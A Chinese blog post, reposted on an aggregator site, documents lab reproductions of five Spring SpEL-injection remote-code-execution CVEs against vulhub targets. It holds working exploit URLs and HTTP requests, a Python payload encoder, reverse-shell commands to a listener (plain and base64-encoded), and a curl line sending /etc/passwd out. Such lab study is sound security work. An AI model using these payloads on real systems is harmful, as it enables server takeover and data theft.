栏目分类:
子分类:
返回
名师互学网用户登录
快速导航关闭
当前搜索
当前分类
子分类
实用工具
热门搜索
名师互学网 > IT > 软件开发 > 后端开发 > Java

spring复现-不太详细

Java 更新时间: 发布时间: IT归档 最新发布 模块sitemap 名妆网 法律咨询 聚返吧 英语巴士网 伯小乐 网商动力

spring复现-不太详细

参考:https://cloud.tencent.com/developer/article/1841461?from=article.detail.1853055

Spring Security OAuth2 远程命令执行漏洞(CVE-2016-4977)

Spring Security OAuth
是为 Spring 框架提供安全认证支持的一个模块。
在其使用 whitelabel views 来处理错误时,由于使用了Springs expression Language (SpEL),
攻击者在被授权的情况下可以通过构造恶意参数来远程执行命令。
故是在需要知道 账号密码 的前提下才可以利用该漏洞。

docker-compose up -d

启动完成后,访问 http://192.168.33.130:8080/ 即可看到web页面。
访问http://192.168.33.130:8080/oauth/authorize?response_type=${3*3}&client_id=acme&scope=openid&redirect_uri=http://test。用户名和密码是admin:admin

输入SpEL表达式 ${3*3} 成功执行并返回结果:表示漏洞存在

漏洞利用

  1. 写 poc1.py
#!/usr/bin/env python
message = input('Enter message to encode:')
poc = '${T(java.lang.Runtime).getRuntime().exec(T(java.lang.Character).toString(%s)' % ord(message[0])
for ch in message[1:]:
	poc += '.concat(T(java.lang.Character).toString(%s))' % ord(ch)
poc += ')}'
print(poc)

输入whoami生成spel格式的payload代码

将该payload代码加入进response_type参数部分,得到payload


http://192.168.33.130:8080/oauth/authorize?response_type=${T(java.lang.Runtime).getRuntime().exec(T(java.lang.Character).toString(119).concat(T(java.lang.Character).toString(104)).concat(T(java.lang.Character).toString(111)).concat(T(java.lang.Character).toString(97)).concat(T(java.lang.Character).toString(109)).concat(T(java.lang.Character).toString(105)))}&client_id=acme&scope=openid&redirect_uri=http://test

我自己生成payload总不能用啊啊啊啊
最后还是复制了原文的payload
才获取到信息
执行payload 返回了进程,表示代码执行了,但这没有回显,是无回显RCE
可是这个whoami是谁呢,是网站权限?


4)无回显 结合nc得到回显内容

Kali Linux:nc -vlp 7766
靶机上:curl 192.168.33.129:7766 -d “$(cat /etc/passwd)”


看起来好像不太成功的样子
换个命令执行
成功把靶机whoami的执行结果shannon返回


5)payload二次变形

将下面的代码绕过exec()变形

bash -i >& /dev/tcp/192.168.33.129/7766 0>&1

通过网址:http://www.jackson-t.ca/runtime-exec-payloads.html
得到

bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjMzLjEyOS83NzY2IDA+JjE=}|{base64,-d}|{bash,-i}

我佛了,,,,生成了几个屏幕都装不下的payload
再放入上面的POC中,得到url
依然不成功

Spring Web Flow 远程代码执行漏洞(CVE-2017-4971)

Spring WebFlow 是一个适用于开发基于流程的应用程序的框架(如购物逻辑),可以将流程的定义和实现流程行为的类和视图分离开来。在其 2.4.x 版本中,如果我们控制了数据绑定时的field,将导致一个SpEL表达式注入漏洞,最终造成任意命令执行。

Spring Web Flow 主要用于解决跨越多个请求的、用户与服务器之间的、有状态交互问题。当用户使用Spring Web Flow受影响的版本时,
如果配置了view-state,但是没有配置相应的binder,并且没有更改useSpringBeanBinding默认的false值,
当攻击者构造特殊的http请求时,就可以导致SpEL表达式注入,从而造成远程代码执行漏洞。

触发条件:

  1. MvcViewFactoryCreator对象的useSpringBeanBinding参数需要设置为false(默认值)

  2. flow view对象中设置BinderConfiguration对象为空


然后访问id为1的酒店http://192.168.33.130:8080/hotels/1,
点击预订按钮“Book Hotel”,填写相关信息后点击“Process”(从这一步,其实WebFlow就正式开始了):

再点击确认“/confirm/i”:
此时抓包 拦截,抓到一个POST数据包,我们向其中添加一个字段(也就是反弹shell的POC)需要url 编码:

&_(new+java.lang.ProcessBuilder("bash","-c","bash+-i+>%26+/dev/tcp/192.168.33.129/21+0>%261")).start()=vulhub


分析:Spring Web Flow 在 Model 的数据绑定上面,由于没有明确指定相关 model 的具体属性导致从表单可以提交恶意的表达式从而被执行
https://paper.seebug.org/322/

Spring Data Rest 远程命令执行漏洞(CVE-2017-8046)

Spring Data REST是一个构建在Spring Data之上,为了帮助开发者更加容易地开发REST风格的Web服务。在REST API的Patch方法中(实现RFC6902),path的值被传入setValue,导致执行了SpEL表达式,触发远程命令执行漏洞。

Spring Data Rest服务器在处理PATCH请求时存在一个远程代码执行漏洞。
攻击者通过构造好的JSON数据来执行任意Java代码。

等待环境启动完成,然后访问http://your-ip:8080/即可看到json格式的返回值,说明这是一个Restful风格的API服务器。

复现

访问http://your-ip:8080/customers/1,看到一个资源。我们使用PATCH请求来修改之:

抓包修改请求

PATCH /customers/1 HTTP/1.1
Host: 192.168.33.130:8080
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:94.0) Gecko/20100101 Firefox/94.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,**;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Connection: close
cookie: smile=1D1; hFyU_2132_ulastactivity=d258xq6rCRc3eY20NrjSAJewCIdQcKoRVjGF1P%2BGLHLUEZ0N2%2B%2Bv; hFyU_2132_nofavfid=1
Upgrade-Insecure-Requests: 1
Content-Type: application/json-patch+json
If-Modified-Since: Thu, 11 Nov 2021 09:40:07 GMT
If-None-Match: "0"
Content-Length: 490

[
    { "op": "replace", 
      "path": "T(java.lang.Runtime).getRuntime().exec(new java.lang.String(new byte[]{98,97,115,104,32,45,99,32,123,101,99,104,111,44,89,109,70,122,97,67,65,116,97,83,65,43,74,105,65,118,90,71,86,50,76,51,82,106,99,67,56,120,79,84,73,117,77,84,89,52,76,106,77,122,76,106,69,121,79,83,56,51,78,122,77,122,73,68,65,43,74,106,69,61,125,124,123,98,97,115,101,54,52,44,45,100,125,124,123,98,97,115,104,44,45,105,125}))/lastname",
      "value": "vulhub" 
    }
]

攻击机 监听:

发包 ~~~


漏洞分析

https://blog.spoock.com/2018/05/22/cve-2017-8046/

Spring Messaging 远程命令执行漏洞(CVE-2018-1270)

spring messaging为spring框架提供消息支持,其上层协议是STOMP,底层通信基于SockJS,

在spring messaging中,其允许客户端订阅消息,并使用selector过滤消息。selector用SpEL表达式编写,并使用StandardevaluationContext解析(权限太大),造成命令执行漏洞。

spring messaging是基于sockjs(可以理解为一个通信协议),而sockjs适配多种浏览器:
现代浏览器中使用websocket通信,老式浏览器中使用ajax通信。

连接后端服务器的流程,可以理解为:

  1. 用STOMP协议将数据组合成一个文本流
  2. 用sockjs协议发送文本流,sockjs会选择一个合适的通道:websocket或xhr(http),与后端通信

所以我们可以使用http来复现漏洞,称之为“降维打击”。

漏洞利用

1)访问网址http://192.168.33.130:8080/gs-guide-websocket

2)修改payload,反弹shell

bash -i >& /dev/tcp/192.168.33.129/7733 0>&1
java.lang.Runtime.exec()编码后:
bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjMzLjEyOS83NzMzIDA+JjE=}|{base64,-d}|{bash,-i}

编写 exploit.py

执行命令(需要用python3.6执行)(我这里也不是3.6,运行也成功监听到了)

python3 exploit.py

漏洞原理
https://paper.seebug.org/562/

Spring Data Commons 远程命令执行漏洞(CVE-2018-1273)

Spring Data是一个用于简化数据库访问,并支持云服务的开源框架 包含Commons、Gemfire、JPA、JDBC、MongoDB等模块。
此漏洞产生于Spring Data Commons组件是Spring Data下所有子项目共享的基础框架,适合各个子项目使用,支持跨数据库持久化。
Spring Data Commons 在2.0.5及以前版本中,存在一处SpEL表达式注入漏洞,攻击者可以注入恶意SpEL表达式以执行任意命令,直接获取服务器控制权限。
1)访问http://192.168.112.141:8080/users,提交注册信息,抓包

2)修改包数据,尝试获取权限

POST /users?page=&size=5 HTTP/1.1
Host: 192.168.33.130:8080
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:94.0) Gecko/20100101 Firefox/94.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded
Content-Length: 170
Origin: http://192.168.33.130:8080
Connection: close
Referer: http://192.168.33.130:8080/users
cookie: smile=1D1; hFyU_2132_ulastactivity=d258xq6rCRc3eY20NrjSAJewCIdQcKoRVjGF1P%2BGLHLUEZ0N2%2B%2Bv; hFyU_2132_nofavfid=1
Upgrade-Insecure-Requests: 1

username[#this.getClass().forName("java.lang.Runtime").getRuntime().exec("touch /tmp/success")]=qwe&password=123456&repeatedPassword=123456

成功创建了success文件

漏洞原理

http://blog.nsfocus.net/cve-2018-1273-analysis/

转载请注明:文章转载自 www.mshxw.com
本文地址:https://www.mshxw.com/it/490660.html
我们一直用心在做
关于我们 文章归档 网站地图 联系我们

版权所有 (c)2021-2022 MSHXW.COM

ICP备案号:晋ICP备2021003244-6号